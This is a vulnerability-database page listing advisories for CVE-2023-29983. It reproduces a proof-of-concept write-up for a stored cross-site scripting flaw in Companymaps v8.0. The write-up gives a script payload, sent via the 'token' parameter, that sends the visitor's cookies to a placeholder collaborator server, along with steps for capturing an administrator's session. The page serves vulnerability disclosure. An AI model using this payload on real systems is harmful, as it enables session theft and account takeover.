| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Companymaps v8.0 - Stored Cross Site Scripting Vulnerability | 2 May 202300:00 | – | zdt | |
| CVE-2023-29983 | 12 May 202314:27 | – | circl | |
| Companymaps 跨站脚本漏洞 | 2 May 202300:00 | – | cnnvd | |
| CVE-2023-29983 | 12 May 202300:00 | – | cve | |
| CVE-2023-29983 | 12 May 202300:00 | – | cvelist | |
| CVE-2023-29983 | 12 May 202311:15 | – | nvd | |
| CVE-2023-29983 | 12 May 202311:15 | – | osv | |
| CompanyMaps 8.0 Cross Site Scripting | 1 May 202300:00 | – | packetstorm | |
| Cross site scripting | 12 May 202311:15 | – | prion | |
| PT-2023-22502 · Maximilian Vogt · Cmaps | 12 May 202300:00 | – | ptsecurity |
# Exploit Title: Companymaps V8.0 - Stored Cross Site Scripting (XSS)
# Date: 27.04.2023
# Exploit Author: Lucas Noki (0xPrototype)
# Vendor Homepage: https://github.com/vogtmh
# Software Link: https://github.com/vogtmh/cmaps
# Version: 8.0
# Tested on: Mac, Windows, Linux
# CVE : CVE-2023-29983
*Steps to reproduce:*
1. Clone the repository and install the application
2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=
3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>
4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.
5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog
6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameter
In a real world case you would need to wait for the admin to log into the application and open the auditlog tab.
Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation